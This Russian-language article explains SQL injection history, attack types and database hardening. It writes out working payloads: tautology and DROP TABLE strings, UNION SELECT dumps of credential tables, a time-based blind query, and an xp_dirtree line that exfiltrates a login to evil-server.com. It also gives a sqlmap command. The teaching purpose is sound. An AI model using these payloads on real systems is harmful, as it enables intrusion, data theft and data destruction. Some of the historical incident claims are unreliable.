Присаживайся. Выключи на минуту все эти новостные ленты про нейросети, квантовые компьютеры и блокчейн. Поговорим о чём-то по-настоящему древнем, вечном и позорно актуальном.
Представь дыру. Не метафизическую, а самую что ни на есть конкретную. Дыру в логике, размером с один символ - пропущенную кавычку. Такую маленькую, что её не видно глазу, и такую огромную, что через неё двадцать пять лет подряд вытекают базы данных целых корпораций, логины-пароли миллионов пользователей и государственные секреты.
Это не история про сложный эксплоит нулевого дня. Это история про ' OR '1'='1 - мантру, которая заставляет базы данных предавать своих хозяев. Про то, как самая старая и простая уязвимость в вебе пережила смену технологических эпох, десятки языков программирования и поколения разработчиков. Она старше первой социальной сети, пережила расцвет и падение MySpace и до сих пор чувствует себя прекрасно в эпоху искусственного интеллекта.
Пока ты вылизываешь конфиг веб-сервера, настоящая игра ведётся глубже. Там, где живут данные. Твоя система управления базами данных (СУБД) - это не просто служба, это мозг и память всего твоего проекта. И если злоумышленник доберётся туда, ему уже не нужен root на твоём сервере. У него уже есть всё.
Забудь про эпичные взломы через нулевые дни в ядре. 99% бед начинаются с тупой, обидной ошибки. С того, что кто-то где-то не там поставил кавычку или слепо доверился пользовательскому вводу.
Давай я расскажу тебе одну историю. Не из учебника, а из той реальности, что пахнет дешёвым кофе и паникой в три часа ночи.
История про «Автосалон на коленке».
Жил-был один малый. Решил сделать сайт для продажи б/у автомобилей. Всё как у людей: список машин, фото, поиск по цене. В поиске была простая форма: два поля - «цена от» и «цена до». Написал он её за вечер, на коленке. Логика проста: берёт цифры из полей, подставляет в SQL-запрос и выполняет его.
Выглядело это в коде примерно так:
query = "SELECT * FROM cars WHERE price >= " + user_min_price + " AND price <= " + user_max_price + ";"Кажется, что тут такого? Вводишь 1000 и 5000, получаешь машины в этом диапазоне. Магия.
Но что, если в поле «цена от» ввести не цифру? А, скажем, такое:
0; DROP TABLE customers; --Запрос превращается в монстра:
SELECT * FROM cars WHERE price >= 0; DROP TABLE customers; -- AND price <= 5000;СУБД видит: первый запрос - выбери все машины с ценой от нуля. Точка с запятой - конец команды. Далее - новая, совершенно законная команда:
DROP TABLE customers;. А двойной дефис -- в SQL - это комментарий. Всё, что после него, игнорируется.И бац. Таблица
customers с именами, телефонами, паспортными данными покупателей исчезает. Вмиг. Без корзины, без бэкапа (потому что бэкапы - это «скучно»).В нашем случае злоумышленник был не злой, он был любопытный. Он просто вбил в поле
' OR '1'='1 и получил на экран не только машины, а все записи из всех таблиц, включая ту самую таблицу с клиентами. Потому что запрос ... WHERE price >= '' OR '1'='1' всегда истинный. Условие «1=1» верно всегда. Это мантра, открывающая двери.Мораль? Атакующий даже не ломал пароли. Он не подбирал SSH-ключи. Он просто говорил на языке твоей базы более грамотно, чем твоё приложение. Он играл в LEGO с твоими же кубиками и собрал из них гранату.
Вот о чём мы будем говорить. Не о пафосных атаках, а о культуре. О том, что безопасность - это не про стены, а про понимание. Про то, что твой главный враг - не хакер в маске, а расслабленность.
Ты готовил крепость, но забыл про потайную калитку, которую сам же и оставил. Она называется «доверие к вводу пользователя».
Дальше будет только интереснее. Поговорим про то, как эта калитка выглядит (
UNION SELECT), как её ищут вслепую (когда сайт только «моргает») и как закрыть на все замки. Но сначала я расскажу откуда вообще ноги растут. Углубимся в историю.
SQL-инъекциям исполнилось 25 лет, а мы всё ещё учимся. История дыры, которую не могут залатать
Ирония судьбы: один из старейших и самых разрушительных векторов атаки родился не в подпольных чатах, а в публичном журнале для энтузиастов, и его принцип не изменился ни на йоту. Добро пожаловать в историю SQL-инъекции - нескончаемого сериала о человеческой беспечности и том, как ' OR '1'='1 покорял мир.
Эпоха первооткрывателей (1998–2003): Рождение из невинности
Все началось почти мирно. 25 декабря 1998 года, пока обыватели наряжали ёлки, исследователь Джефф Форристал (Rain Forest Puppy) публикует в журнале Phrack статью «NT Web Technology Vulnerabilities». В ней он методично описал, как можно манипулировать запросами к базам данных через веб-формы. Это не был взлом - это было публичное предупреждение, техническое описание того, что происходит, когда ты слепо склеиваешь SQL-запрос из строк и пользовательского ввода. Сообщество отреагировало примерно как на предсказание конца света: «Интересно, но это не про нас».Первый звонок прозвенел в 2002 году, когда хакеры провели демонстрационную атаку на сеть магазинов Guess. Через уязвимую веб-форму они вытянули данные более 200 000 кредитных карт. Мир впервые увидел ценник одной пропущенной кавычки. Но настоящий шок наступил в январе 2003-го с червём SQL Slammer. Он не крал данные - он парализовывал всё на своём пути, используя дыру в Microsoft SQL Server. За 10 минут было заражено 75 000 машин, скорость распространения сломала интернет. Внезапно выяснилось, что SQL-уязвимости - это не только тихая кража, но и оружие массового поражения для цифровой инфраструктуры.
Эпоха институционализации (2003–2010): Из хака в регламент
После Slammer индустрия перестала ухмыляться. В 2003 году проект OWASP (Open Web Application Security Project) выпускает свой первый рейтинг главных угроз - OWASP Top-10. И да, инъекции, возглавляемые SQLi, уже заняли там почётное первое место, где и остаются с переменным успехом по сей день. SQLi перестал быть «продвинутой техникой» - он стал базовой проверкой на вшивость для любого пентестера.К концу нулевых SQL-инъекция превратилась в конвейер. В 2007 году хакеры использовали её в атаке на розничную сеть TJX Companies, похитив данные около 94 миллионов кредитных карт. Это был уже не одиночный взлом, а отлаженный промышленный процесс: найти уязвимый сайт, внедриться, выгрузить дампы, продать данные на чёрном рынке. ЦРУ и АНБ в своих документах того периода отмечали SQLi как один из ключевых векторов для сбора разведданных. Дыра из журнала для гиков стала инструментом государств.
Эпоха массового производства (2011–2019): Инструмент в руках каждого
2010-е стёрли последние барьеры. Появились мощные автоматизированные сканеры вроде sqlmap - инструмент, который может найти и использовать SQLi быстрее, чем junior-разработчик успевает налить себе кофе. Он сделал сложные техники - слепые инъекции (Blind SQLi) или извлечение данных через временные задержки (Time-based) - доступными даже для скрипт-кидди.Хактивистские группировки вроде LulzSec в 2011 году превратили SQL-инъекцию в средство публичного унижения корпораций и правительств. Они не просто крали данные - они вываливали их в открытый доступ, сопровождая язвительными комментариями в Twitter. SQLi стал орудием пропаганды. Одновременно с этим рынок краденых данных ушёл в глубокий веб, где логины и пароли, добытые через инъекции, продавались пачками, как картошка на оптовом рынке.
Эпоха живучести (2020–наши дни): Динозавр, который не вымирает
Казалось бы, в 2020-х, с повсеместным использованием ORM (Hibernate, Eloquent) и фреймворков, эта дыра должна была исчезнуть. Но нет. В 2020 году хакеры использовали SQL-инъекцию для взлома сайтов офисов Дональда Трампа. В 2021-м исследователи находили критические уязвимости такого типа в крупнейших системах управления контентом. Почему?Ответ - в наследии и человеческом факторе.
- Горы легаси-кода: Миллионы строк старого корпоративного кода, написанного в 2000-х на PHP или ASP, до сих пор работают. Их никто не переписывает, пока они приносят деньги.
- Иллюзия безопасности: Разработчики думают, что использование модного фреймворка или ORM автоматически защищает их. Но ORM - это всего лишь генератор SQL. Если им пользоваться бездумно (например, составлять «сырые» запросы через QueryBuilder), можно наступить на те же грабли.
- Сложные векторы: Атаки стали тоньше. Вместо ' OR '1'='1 используются цепочки из сотен запросов, которые вытягивают данные по битам, анализируя время отклика базы (слепые инъекции). Это сложно обнаружить стандартными системами мониторинга.
Почему эта история ещё не закончилась?
Потому что SQL-инъекция - это не «баг» в программном обеспечении. Это фундаментальный разрыв между намерением программиста и интерпретацией машины. Это ошибка в модели доверия: разработчик по умолчанию доверяет данным, которые пришли извне. И пока люди пишут код, они будут совершать эту ошибку.Защита известна десятилетиями - параметризованные запросы (Prepared Statements), где код и данные передаются раздельно. Это не ракетостроение. Но её внедрение требует не столько технических навыков, сколько дисциплины и культуры безопасности, которые в большинстве компаний до сих пор проигрывают давлению дедлайнов.
SQL-инъекция - это цифровой кекс, который мы печём уже 25 лет по одному и тому же рецепту. Она пережила смену технологических эпох, потому что эксплуатирует не слабость машин, а слабость человеческой логики. И пока мы учим ИИ писать код, стоит убедиться, что мы не научили его повторять наши старые ошибки. Иначе следующая большая утечка данных будет подготовлена не человеком, а алгоритмом, который мы сами и создали.
Но довольно истории, перейдем к реальным вещам.
SQLi
Итак, в начале мы поняли, что дыра возникает, когда твой код слепо лепит пользовательский ввод в SQL-команду. Теперь посмотрим, какую именно дрянь можно запихнуть в это поле, кроме банального
' OR '1'='1. Это не просто трюки, это логика. Поняв её, ты начнёшь видеть дыры глазами того, кто хочет их использовать. И это лучший способ их закрыть.Классика жанра: Union-based - когда тебе всё вываливают в лицо.
Представь ту же форму поиска машин, но теперь злоумышленник вводит не просто мантру, а осознанный запрос.
Он сначала выясняет, сколько столбцов возвращает оригинальный запрос. Методом научного тыка:
' ORDER BY 1--, ' ORDER BY 2--, пока не получит ошибку. Допустим, столбцов 4.Теперь он строит свой
UNION SELECT. Весь запрос приложения может превратиться в:
Код:
SELECT id, model, price, year FROM cars WHERE model LIKE '%' UNION SELECT 1,2,3,4-- %'
А теперь - магия. Меняем запрос:
Код:
... UNION SELECT 1, table_name, 3, 4 FROM information_schema.tables WHERE table_schema=database()--
user_credentials. Потом:
Код:
... UNION SELECT 1, concat(login, ':', password_hash), 3, 4 FROM user_credentials--
Итог: Через форму поиска по моделям автомобилей на экран выгружаются логины и хэши паролей всей системы. Всё потому, что злоумышленник использовал
UNION - оператор объединения результатов двух запросов. Он не ломал, он просил базу выдать ему данные, и та послушно выполняла.Где встречается в реале: Любая фильтрация: поиск, выборка по категориям, фильтры в админке. Если при вводе кавычки получаешь ошибку СУБД - считай, половина дела сделана.
Слепой, но опасный (Blind SQL Injection): когда сайт только "моргает".
А что, если разработчик не выводит результаты запроса на экран? Ошибки съедаются,
UNION ничего не показывает. Казалось бы, тупик. Но нет.Злоумышленник переходит к диалогу с базой в двоичном коде. Он задаёт вопросы, на которые база может ответить только "ДА" (истина) или "НЕТ" (ложь), а ответ он считывает по косвенным признакам.
Разновидность 1: На основе времени (Time-based).
Он внедряет команду, которая заставляет базу подождать, если условие верно. Пример запроса для MySQL:
' AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0)--Расшифровываем: "Если первая буква имени текущей базы данных - 'a', то усни на 5 секунд, иначе верни 0".
Злоумышленник смотрит на таймер. Запрос висит 5 секунд? Значит, первая буква - 'a'. Не висит? Пробует 'b'. И так, буква за буквой, как взлом сейфа с цифровым замком, он узнаёт имена баз, таблиц, логинов. Автоматизированными инструментами это делается за минуты.
Где встречается в реале: Любая форма, где нет прямого вывода данных, но есть реакция: "Пользователь не найден", "Неверный код". Или просто страница при верном и неверном запросе грузится чуть-чуть по-разному. Разница в миллисекунды, но её можно поймать.
Out-of-band (OOB) атака: когда атакуют не "в лоб", а через чёрный ход.
Самый изящный и часто незамечаемый вариант. Представь, что приложение не выводит результаты запроса и не даёт заметить разницу во времени. Но оно позволяет выполнять определённые функции СУБД.
Злоумышленник может внедрить команду, которая заставит базу данных самой инициировать соединение с его сервером и передать данные в этом запросе.
Пример для Microsoft SQL Server (MSSQL), если включена старая добрая функция
xp_dirtree:
SQL:
'; EXEC master..xp_dirtree '\\evil-server.com\' + (SELECT TOP 1 login FROM users)--'
- База данных пытается обратиться к сетевой папке
\\evil-server.com\. - В имя папки (до обратного слеша) она подставляет результат вложенного запроса - например,
admin. - Итоговый путь:
\\evil-server.com\admin. - Сервер злоумышленника (
evil-server.com) видит в логах DNS или HTTP попытку доступа к ресурсуadminи понимает: "Ага, первый логин в таблицеusers-admin".
Данные утекли не через основное приложение, а через побочный канал, как вода через трещину в трубе.
Инструмент в руки: Sqlmap - не меч, а стетоскоп.
Ты сейчас подумал: "Это же ад, так вручную никто не делает". И будешь прав. Для этого есть
sqlmap. Но запомни главное: этот инструмент - для тестирования СВОИХ приложений. Запуск его на чужих ресурсах - не хакерство, а уголовщина. Ты же не будешь тренироваться делать уколы на случайных прохожих?Зачем он тебе: Чтобы быстро и методично проверить свой же код на все описанные выше глупости. Он автоматизирует весь этот процесс подбора, UNION'ов и слепых атак.
Пример проверки своей формы логина:
Представь, у тебя есть сайт
http://my-cool-site.local/login.php. Форма отправляет POST-запрос с полями username и password.Ты можешь в тестовом окружении (не на боевом сервере!) запустить что-то вроде:
Bash:
sqlmap -u "http://my-cool-site.local/login.php" \
--data="username=test&password=test" \
--level=2 \
--risk=1 \
--batch
-u- цель.--data- данные POST-запроса.--levelи--risk- повышают "дотошность" проверки (начни с низких).--batch- чтобы не отвечать на вопросы, по умолчанию.
Если sqlmap начнёт радостно сообщать о найденных инъекциях - у тебя не баг, а провал в архитектуре. Это красная лампочка. Не игнорируй её.
Использовать sqlmap для поиска уязвимостей - это как включить детектор угарного газа в квартире. Если он запищал - не надо заклеивать его скотчем. Надо проветривать и чинить печь.
SQL-инъекция - это не одна дыра. Это язык общения с твоей БД в обход твоего приложения. Union-based кричит громко, Blind - шепчет на ушко, OOB - передаёт записки через третьи руки.
Понимая это, ты перестаёшь видеть просто "поле ввода". Ты начинаешь видеть интерпретатор SQL, который ты сам, по глупости, подсунул пользователю.
Дальше будем говорить о том, как запирать эту дверь. Но не на висячий замок
mysql_real_escape_string(), а на сейфовую дверь с кодом.Аутентификация и авторизация: Дверь есть, а косяка нет.
Ты ещё здесь? Отлично. Значит, осознал, что оставлять SQL-интерпретатор на видном месте - плохая идея. Но что, если злоумышленник даже не будет играть в эти игры? Что, если он просто постучится в главную дверь твоей СУБД? Не через приложение, а напрямую, на порт 5432 или 3306.
Разделим сразу: Аутентификация - это проверка, что ты есть ты. Авторизация - это проверка, что тебе можно вот это конкретное действие.
Аутентификация: «Кто ты?» - «Я свой!» - «Ну ладно...»
Вот тебе задачка на засыпку: какой самый популярный пароль к MySQL в продакшене маленькой конторы? Не
root, не admin. Чаще всего это... пустая строка. Или password. Или, смайлик судьбы, пароль, совпадающий с логином: root:root.«Да кто ж так делает?» - спросишь ты. А вот идут отчёты с Shodan каждый день. Shodan - это не поисковик сайтов. Это поисковик всего, что торчит в интернет. Холодильников, камер, промышленных контроллеров и, о ужас, баз данных.
Картина маслом:
- Админ ставит PostgreSQL для внутреннего сервиса.
- Чтобы «не париться», оставляет дефолтного пользователя
postgresс паролемpostgresили вовсе без пароля. «Он же только из локальной сети!» - говорит он. - Через месяц сервис надо показать клиенту. Быстренько пробрасываем порт 5432 на белый IP через
ngrokили, что чаще, меняем одну строчку в конфигеpostgresql.conf:listen_addresses = '*'. «Ну ненадолго!» - Через 15 минут бот, сканирующий интернет на
5432/tcp, радостно стучится. Логин:postgres, пароль:postgres. Привет, полный доступ ко всем базам. Всё. Игрок покинул чат.
Практика: как проверить себя.
Зайди на свой сервер и выполни:
Bash:
sudo netstat -tlnp | grep -E '(5432|3306|27017)'
0.0.0.0 или :::? Плохой знак. А теперь попробуй подключиться к своей же БД с другой машины в той же сети (или с локалхоста, сымитировав внешнего):
Bash:
# Для MySQL
mysql -u root -p -h IP_ТВОЕГО_СЕРВЕРА
# Для PostgreSQL
psql -U postgres -h IP_ТВОЕГО_СЕРВЕРА -W
Авторизация: Принцип наименьших привилегий - не для параноиков, а для выживших.
Допустим, у тебя крутое веб-приложение. Ему нужно читать и писать данные. Как ты его подключаешь к БД?
Вариант А (плохой, но частый): Берёшь пользователя
root/postgres и вписываешь его в config.php. «Ему же всё нужно!».Почему это провал: Потому что если через это приложение (допустим, через ту же SQL-инъекцию в форме обратной связи) злоумышленник получит возможность выполнить произвольный SQL, он будет делать это от имени root. Он удалит не одну таблицу, а всю БД. Он создаст своих пользователей. Он сделает дамп и выгрузит его себе. Права
ALL PRIVILEGES - это не функция, это оружие массового поражения в руках приложения.Вариант Б (правильный): Создать отдельного пользователя только для этого приложения, с правами только на нужные операции и только в нужной базе.
Пример для PostgreSQL:
SQL:
-- 1. Создаём отдельную БД для приложения (если ещё нет)
CREATE DATABASE myapp_prod;
-- 2. Создаём пользователя. Пароль придумай серьёзный, не 'qwerty'.
CREATE USER myapp_user WITH PASSWORD 'StRoNg!PaSs2024';
-- 3. Даём права ТОЛЬКО на эту БД и ТОЛЬКО на нужные операции.
GRANT CONNECT ON DATABASE myapp_prod TO myapp_user;
GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA public TO myapp_user;
-- Если приложение использует последовательности (serial)
GRANT USAGE, SELECT ON ALL SEQUENCES IN SCHEMA public TO myapp_user;
config.php использует myapp_user. Если через приложение попытаются выполнить DROP TABLE users;, СУБД вежливо ответит: ERROR: permission denied for table users. Атака остановлена на уровне архитектуры, а не в коде.Это и есть принцип наименьших привилегий: давать ровно столько прав, сколько необходимо для работы, и ни битом больше.
Хэши - Почему «зашифровано» ≠ «безопасно».
Часто вижу в схемах БД табличку
users с полем password, где лежит что-то вроде d8578edf8458ce06fbc5bb76a58c5ca4. Это MD5-хэш. Это слабо. Это можно расколотить по радужным таблицам за секунды.Но хуже, когда там лежит пароль в открытом виде или «зашифрованный» самописным алгоритмом на XOR. Если злоумышленник получил доступ на чтение к этой таблице (см.
UNION SELECT выше) - считай, все аккаунты уже скомпрометированы.Как надо:
- Никогда не храни пароли в открытом виде. Никогда. Даже «для внутреннего тестирования».
- Используй современные, медленные алгоритмы хэширования, предназначенные именно для паролей:
bcrypt,scrypt,argon2. Их ключевая фича - они затратны по вычислениям и памяти, что убивает перебор. - Используй соль (salt). Современные функции делают это автоматически.
SQL:
CREATE TABLE users (
id SERIAL PRIMARY KEY,
login VARCHAR(50) UNIQUE NOT NULL,
-- Для bcrypt хэша достаточно 60 символов, но лучше с запасом.
password_hash CHAR(128) NOT NULL,
created_at TIMESTAMP DEFAULT NOW()
);
bcrypt):
Python:
import bcrypt
# При регистрации
password = b"user_password_123"
# Генерируем соль и хэшируем (автоматически)
hashed = bcrypt.hashpw(password, bcrypt.gensalt(rounds=12))
# Сохраняем hashed в БД как bytes или строку
# При проверке логина
input_password = b"user_password_123"
stored_hash = hashed_from_db
if bcrypt.checkpw(input_password, stored_hash):
print("Добро пожаловать!")
Безопасная настройка: Выключи всё, что не дышит.
Ты всё ещё со мной? Хороший знак. Значит,
root с паролем root ты уже прибил, а для своего веб-приложения завел скромного пользователя myapp_user с урезанными правами. Но это только начало пути. Теперь нужно сделать так, чтобы даже если враг окажется внутри периметра, он споткнулся о вторую, третью и десятую линию обороны.Конфигурация по умолчанию любой СУБД создана для удобства развертывания, а не для выживания в дикой среде. Наша задача - переломить эту парадигму.
Сетевая изоляция: «А почему постгрес светится на весь интернет?»
Классика. Поднимаешь БД для нового пет-проекта, а через полгода замечаешь в логах кучу левых попыток подключения. Потому что какой-нибудь бот давно просканировал порт
0.0.0.0:5432 и теперь методично стучится, подбирая пароли.Что делать:
Жёсткий способ: Firewall. Правило
ufw (если ты на Ubuntu) - твой лучший друг.
Код:
bash
# Разрешаем подключение к СУБД ТОЛЬКО с конкретного IP (например, IP твоего веб-сервера)
sudo ufw allow from 192.168.1.100 to any port 5432
# Запрещаем всем остальным
sudo ufw deny 5432
Код:
bash
sudo ufw allow from 192.168.1.0/24 to any port 5432
Правильный способ: Конфиг СУБД. Открывай
postgresql.conf или mysqld.cnf и ищи строку listen_addresses (PG) или bind-address (MySQL).* Плохо:
listen_addresses = '*'* Хорошо:
listen_addresses = 'localhost, 192.168.1.100' (только локалхост и IP веб-сервера)* Идеально (если БД и приложение на одной машине):
listen_addresses = 'localhost'. Соединение через Unix-сокет, без сетевого стека вообще.Суть: Если к твоей БД нельзя подключиться из интернета, ты автоматически отсекаешь 99% автоматических атак. Это не панацея, но это огромный фильтр.
Шифрование соединений (SSL/TLS): Сосед по офиcному Wi-Fi - не друг.
Представь: ты запустил БД на внутреннем сервере в дата-центре. «Он же внутри сети!» - думаешь ты. А теперь вспомни, кто ещё есть в этой сети? Другие арендаторы, виртуалки потенциальных конкурентов, недовольные сотрудники. Если трафик между твоим приложением и БД не шифруется, любой, кто имеет доступ к тому же сетевому сегменту, может прослушать его. Логины, пароли, сами запросы с данными - всё как на ладони.
Что делать: Включить SSL. Это не опционально.
Для PostgreSQL:
Генерируем или получаем сертификаты (самоподписанные на первое время сойдут).
В
postgresql.conf:
Код:
ini
ssl = on
ssl_cert_file = '/path/to/server.crt'
ssl_key_file = '/path/to/server.key'
pg_hba.conf можно требовать SSL для определённых хостов:
Код:
ini
hostssl all all 192.168.1.0/24 md5
hostssl. Без SSL подключение с этого адреса будет отвергнуто.Для MySQL:
В
my.cnf в секции [mysqld]:
INI:
ssl-ca=/path/to/ca.pem
ssl-cert=/path/to/server-cert.pem
ssl-key=/path/to/server-key.pem
Проверка: После перезапуска подключись и выполни:
- PG:
SHOW ssl;- еслиon, то всё ок. - MySQL:
SHOW STATUS LIKE 'Ssl_cipher';- должен быть непустой.
Это как не кричать пароль от карты через весь офис, а передать записку в запечатанном конверте. Даже если его перехватят, прочитать не смогут.
Аудит и логи: «Кто это сделал DROP в три ночи?»
Представь, прорвались. Или кто-то внутри накосячил. Как понять, что произошло? Без логов ты слепой.
Включаем логирование подключений и «опасных» команд. В том же
postgresql.conf:
Код:
ini
log_connections = on
log_disconnections = on
log_statement = 'ddl' # Логируем CREATE, ALTER, DROP
# или даже 'mod' (ddl + data-modifying: INSERT, UPDATE, DELETE)
my.cnf:
Код:
ini
general_log = 1
general_log_file = /var/log/mysql/general.log
# Или лучше только slow queries + ошибки
log_error = /var/log/mysql/error.log
slow_query_log = 1
Куда смотреть и как не сойти с ума.
Логи быстро растут. Надо уметь их фильтровать. Самый простой друг -
grep.
Код:
bash
# Ищем неудачные попытки входа в PostgreSQL
grep -i "password authentication failed" /var/log/postgresql/postgresql-14-main.log
# Ищем все DROP или ALTER команды
grep -E "(DROP|ALTER)" /var/log/postgresql/postgresql-14-main.log | tail -20
# Смотрим откуда чаще всего стучатся
grep "connection authorized" /var/log/postgresql/postgresql-14-main.log | awk '{print $7}' | sort | uniq -c | sort -nr
ufw deny. Нашёл неожиданный DROP TABLE от пользователя приложения? Значит, у него слишком много прав (см. часть 3).Следующий уровень: централизованный сбор логов. Если серверов больше одного, смотри в сторону
rsyslog, Fluentd или Loki. Но это уже для продвинутых. Начинать можно с простого.Суть: Логи - это не для галочки. Это чёрный ящик твоей БД. По ним ты можешь восстановить картину произошедшего, найти источник атаки и доказать вину. Не ленись их включать и хотя бы изредка поглядывать.
Обновления: Скучно, но необходимо.
Ты же не до сих пор на Windows XP? Вот и с СУБД так же. Уязвимости находят постоянно. И речь не только о сложных 0-day, о которых пишут на форумах.
Речь о старых, известных годами дырах, по которым уже есть публичные эксплоиты в метасплоите. Самая частая причина взлома - не нулевой день, а неустановленный патч двухлетней давности.
Что делать:
- Подписаться на рассылки безопасности для твоей СУБД (например,
pgsql-announceдля PostgreSQL). - Иметь план обновления. Не лезть срочно на продакшн, но иметь тестовый стенд, где ты проверяешь минорные обновления (с
11.21на11.22). Мажорные (с11на12) - это отдельная история с миграцией, но и их нельзя игнорировать вечно. - Автоматизировать безопасные обновления. Для убунту это
unattended-upgrades. Настроить его на установку только обновлений безопасности.
Система, которую ты не обновляешь, - это не система. Это мина замедленного действия. Патчи - это не про новые фичи, это про заделку щелей в твоём бронежилете.
Методы защиты:
Подготовленные выражения (Prepared Statements): Твой главный и единственный по-настоящему работающий щит.
Что это: Prepared Statements (параметризованные запросы) - это когда ты отправляешь в СУБД шаблон запроса и данные отдельно. СУБД компилирует шаблон один раз, а потом лишь подставляет в него данные, невозможные интерпретировать как команды. Даже если в данных будет
' OR '1'='1, это останется просто строкой для поиска, а не частью SQL.Пример на пальцах (Python + psycopg2):
Студенческий кошмар (как НЕ надо):
Python:
user_input = "'; DROP TABLE users; --"
query = f"SELECT * FROM products WHERE name = '{user_input}'"
cursor.execute(query) # Прощай, таблица users.
Ремесленный подход (как НАДО):
Python:
user_input = "'; DROP TABLE users; --"
query = "SELECT * FROM products WHERE name = %s" # %s - placeholder
cursor.execute(query, (user_input,))
# База ищет товар с буквальным названием "'; DROP TABLE users; --". Ничего не сломается.
Почему это работает на уровне вселенной: Потому что СУБД сама знает, где в скомпилированном плане запроса находятся «параметры». Она не слепляет строки. Это как отправить на завод форму для печати футболок и отдельно - текст. Надпись
"DROP TABLE" никогда не будет воспринята как инструкция к станку.Где применять: Везде, где в запрос попадают пользовательские данные. Логин, поиск, фильтры, ID в URL (
/product?id=123).Валидация и эскейпинг: Доверяй, но проверяй.
Prepared Statements - это святое. Но хороший мастер страхуется.
- Валидация: Если в поле «год рождения» должно быть число от 1900 до 2024 - проверь, что это именно число и оно в диапазоне. Если email - прогони через простенький regex. Это не для «безопасности», а для целостности данных и отсева 99% мусора.
- Эскейпинг (для крайних случаев): Бывают ситуации, когда prepared statement не применить (например, динамические имена таблиц или столбцов). Вот тут надо экранировать, используя штатные средства СУБД для идентификаторов. Никаких самописных велосипедов!
Плохо (ручной велосипед):
PHP:
$table = $_GET['table']; // кто-то передаст `users; --`
$query = "SELECT * FROM " . $table . " WHERE id = 1";
Сносно (использование встроенных функций):
PHP:
$table = pg_escape_identifier($_GET['table']); // Экранирует имя таблицы
$query = "SELECT * FROM " . $table . " WHERE id = 1";
Но помни: если можешь избежать динамических идентификаторов - избегай. Если нет - строго белый список:
if table_name not in ['products', 'users']: reject().WAF'ы и мониторинг: Датчик дыма, а не огнетушитель.
Web Application Firewall (WAF) - это не волшебная таблетка. Это сигнализация и первый рубеж обороны. Он ловит известные шаблоны атак (как сигнатурный антивирус) и может заблокировать или затормозить подозрительный трафик.
Что ставить:
- ModSecurity с базой правил OWASP Core Rule Set (CRS) - стандарт де-факто. Встает перед твоим nginx/apache.
- NAXSI для nginx - более проще, но эффективно.
- Cloudflare WAF - если лень возиться, но есть бюджет.
Суровая правда: Любой WAF обходим. Цель WAF - не остановить целенаправленную атаку APT, а отсеять мусорный трафик, ботов и скрипт-кидди. И, что важнее, дать тебе запись в логе о попытке атаки. Если в логах WAF пусто - это либо очень хорошо, либо очень плохо.
Как мониторить:
Bash:
# Простой алерт на массовые 400-е от WAF
tail -f /var/log/nginx/modsec_audit.log | grep -E "id \"9[0-9]{5}\"" # Ищем ID правил OWASP SQLi
Заключение
Давай расставим последние точки над i, без пафоса и водных процедур.
Что, по сути, произошло? Мы не изучали «атаки». Мы изучали цепочку человеческих ошибок, которые превращают мощный инструмент в дырявое корыто. От каскадёра, который пишет запросы склеиванием строк, до сисадмина, оставляющего пароль
postgres для удалённого доступа. Каждый этап - это невидимый щелчок по носу, который в итоге складывается в полноценную пощёчину от реальности.SQL-инъекция оказалась не сложным хакерским приёмом, а грамматической ошибкой в диалоге с базой данных. Ты говорил с ней на языке SQL, но дал в руки пользователю не проверенный словарь, а мелок для граффити. И кто-то написал этим мелом на стене твоего храма данных: «Здесь был Вася».
Аутентификация и авторизация - это не скучные поля в конфиге. Это вопросы, которые твоя система задаёт каждому, кто стучится в дверь. «Ты кто?» и «А тебе зачем?». Оставлять на них ответы по умолчанию - всё равно что привязать ключ от сейфа к двери скотчем. Удобно? Да. Гениально? Нет.
Безопасная настройка - это не про «включить все галочки». Это про принцип «отсекай лишнее». Сетевой доступ? Отрезать. Лишние права? Отрезать. Незашифрованный трафик? Да ты шутишь. Твоя БД в идеале должна быть как подводная лодка: снаружи - лишь голый корпус, а внутри - сложная система клапанов, где у каждого есть своя роль и ничего лишнего.
И, наконец, методы защиты - это не серебряная пуля. Это рабочий инструмент в руках того, кто понимает принцип. Prepared Statements, WAF, мониторинг логов - всё это кирки и лопаты для укрепления твоего замка. Без понимания, зачем копать именно здесь, ты просто устроишь яму посреди двора, в которую упадёшь сам.
Так что же в итоге?
Ты теперь знаешь, что:
' OR '1'='1- это не смешной мем, а приговор плохому коду.- Пользователь БД != root БД. Создашь отдельную учётку для приложения - спишь спокойнее.
- Логи - это глаза в затылке. Не включил - значит, летишь вслепую.
- Шифрование - must have, даже если «у нас всё внутри сети».
- Обновления - это гигиена. Не обновился - ходишь с дырой в броне, которую все уже видят.
Открой терминал. Прямо сейчас. И введи одну команду, чтобы проверить, не светится ли твоя БД на весь мир, как маяк:
Bash:
sudo ss -tulpn | grep -E '(:5432|:3306|:27017)'
0.0.0.0 или :: в столбце Local Address? Всё, ты в игре. Твоя база - в списках сканеров, и какой-нибудь бот уже методично цокает по ней, как дятел по дереву.Что делать? Начни с сетевой изоляции. Потом пройдись по всему чек-листу, как по пунктам спасения из горящего здания.
Безопасность - это не пункт назначения, а способ путешествия. Ты никогда не скажешь «я полностью защищён». Но ты можешь сказать: «Я сделал всё, что мог в рамках здравого смысла и потраченного времени».
Теперь у тебя есть карта. Время идти и чинить свои щиты. Потому что в цифровом мире есть два типа людей: те, кого уже взломали, и те, кто ещё не знает, что их взломали. Не дай себе попасть ни в одну из этих групп.
Удачи.